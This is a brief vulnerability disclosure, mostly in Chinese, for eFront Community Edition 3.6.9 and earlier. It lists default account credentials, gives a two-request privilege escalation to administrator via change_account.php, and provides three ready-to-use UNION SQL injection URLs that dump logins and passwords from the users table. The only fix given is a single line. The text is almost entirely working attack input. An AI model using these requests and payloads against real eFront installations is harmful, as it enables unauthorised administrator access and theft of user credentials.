标题: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities

公共版: When 3.6.10 will be released

作者: IHTeam www.2cto.com

下载链接: http://www.efrontlearning.net/download/download-efront.html

测试平台: efront_3.6.9_build11018

Default username and password:

student:student

professor:professor

 

怎么样变身管理员呢:

Request 1: /change_account.php?login=admin

Request 2: /userpage.php

或

simple use the [Switch account] option on top of the page;

好了，你已经进入管理区了;

 

SQL Injection:

www.2cto.com /student.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --

www.2cto.com /professor.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --

www.2cto.com /admin.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --

 

修复：验证严格